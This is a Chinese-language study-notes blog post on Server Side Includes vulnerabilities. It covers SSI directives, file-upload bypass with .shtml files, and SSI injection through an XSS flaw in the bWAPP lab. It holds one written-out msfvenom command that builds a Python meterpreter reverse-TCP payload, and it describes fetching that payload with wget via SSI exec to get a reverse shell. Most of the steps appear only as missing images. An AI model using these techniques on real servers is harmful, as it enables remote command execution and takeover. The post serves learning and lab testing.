ssi 指令 php,SSI 漏洞学习笔记
0x01 SSI (Server Side Includes)
SSI (Server Side Include),是一種簡單的服務器端解釋性腳本語言。通過使用 #include 指令將一個或多個文件內容包含到web服務器上的網頁中。SSI 還包含了具有條件特征和調用外部程序的控制指令。它被 Apache , LiteSpeed , Nginx , IIS 以及 W3C 的 Jigsaw 所支持。
而為了讓web服務器識別 ssi 允許的 html 文件并且執行它的指令,需要和其他后端語言一樣,需要規定一個后綴名以識別解析(其默認的后綴名是 .shtml , .stm , .shtm ,或者可以在服務器端自行進行配置)。
SSI 具有強大的功能,只要是用一條簡單的 ssi 指令就可以實現整個網站的更新,時間日期的動態更新,以及執行 shell 和 CGI 腳本程序等復雜功能。它與 CGI 類似,不同之處在于SSI用于在加載當前頁面之前或在頁面可視化時候執行某些操作。
0x02 語法 & 指令
1. 語法
SSI 的語法很簡單
偽指令放置在 HTML 注釋中。需要注意的就是該語法不允許在 < 和指令之間留空格。而關于 Apache 的 SSI 格式規定中,必須在 --> 之前用空格字符關閉該元素
image
2. 指令
通用指令
以下是NCSA HTTPd時代以來的 SSI 指令。它們得以所有實現的支持
指令
參數
描述
例子
include
file virtual
這可能是最常用的SSI指令,允許一個文檔的內容包含于另一個文檔中。file 或 virtual 參數指定了要包含的文件(html頁面,文本文件,腳本等)。包括另一個文件的內容或運行 CGI 腳本的結果。如果該進程無權限讀取文件或執行腳本,則包含將失敗。virtual 默認指定根目錄,而 file 默認指定當前路徑,且應當不采用絕對路徑的方式。通常默認禁止跨目錄(..)。
exec
cgi cmd
該偽指令在服務器上執行程序,腳本或 Shell 命令。cmd 參數指定服務器端命令;cgi 參數指定 CGI 腳本的路徑。當前 SSI 腳本的 PATH_INFO 和 QUERY_STRING 將會傳遞給 CGI 腳本,因此應該用 exec cgi 來替代 include virtual 指令。
echo
var
此偽指令顯示指定的 HTTP 環境變量 的內容。變量包括 HTTP_USER_AGENT , LAST_MODIFIED 和 HTTP_ACCEPT 。
config
timefmt sizefmt errmsg
此偽指令為日期、時間、文件大小和錯誤消息(當 SSI 命令失敗時返回)配置顯示格式。
flastmod fsize
file virtual
這兩指令顯示指定文檔的最后修改日期或指定文檔的尺寸。file 參數默認指定當前路徑,virtual 默認指定根目錄。
控制指令
這些指令是在后面添加到 SSI 中的。包括 if-elif-else-endif 流控制以及變量寫入等
指令
指令
描述
例子
支持的中間件
if elif else endif
expr
這個就是我們平常的 If-else 語句。
Everything
set
var value
設置 SSI 變量值。Apache 提供了附加參數,用于編碼。
Apache Nginx
printenv
該指令輸出所有 SSI 變量及其值的列表,包括環境變量和用戶定義的變量。它沒有屬性。
Apache
0x03 利用場景和方式
說了這么多,接下來我們看看利用方式
1、文件上傳
本示例采用 MAMP PRO 的集成環境(用的 Apache) ,首先需要開啟 SSI ,具體配置問題可以參考 Apache、Nginx 服務配置服務器端包含(SSI)
在某些環境下,上傳點可能限制了我們的上傳后綴
我們可以嘗試上傳 shtml 或 shtm(當然,如果服務器配置了其他后綴解析的話都可以靈活地進行嘗試
1)例如我們此處是一個黑名單過濾,不允許上傳 php 的腳本文件
image
2)此處便可嘗試上傳 shtml 文件,嘗試利用 SSI 漏洞執行命令
image
image
3)當然,我們可以直接通過執行的命令來 getshell
image
image
2、SSI注入
如果中間件開啟了 SSI ,且頁面存在 xss 漏洞的話,可以嘗試進行 SSI 注入(這里采用了 bwapp 進行測試)
image
1)測試發現存在xss
image
2)把 xss 的 payload 替換為 ssi
test
image
3)利用 ssi 反彈 shell
利用msfvemon生成木馬
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.101.8 lport=4444 -f raw > shell.py
image
利用 ssi 遠程下載木馬
image
test
利用msf獲取反彈shell
image
這里不知為何,wget 到網站當前目錄,執行命令彈不回 shell ,下載到 /tmp 目錄又是空文件,知道到大佬還請指點下。
image
image
這里最后用了一個笨方法,把 msf 生成的 payload 用 echo 命令分段寫進 /tmp 目錄以后(太長了會報錯),再賦予權限
image
執行命令,成功彈回 shell
t
image
參考文獻
總結
以上是生活随笔為你收集整理的ssi 指令 php,SSI 漏洞学习笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 机械秒表的使用方法_秒表、机械秒表、50
- 下一篇: ZLMediaKit接收ffmpeg r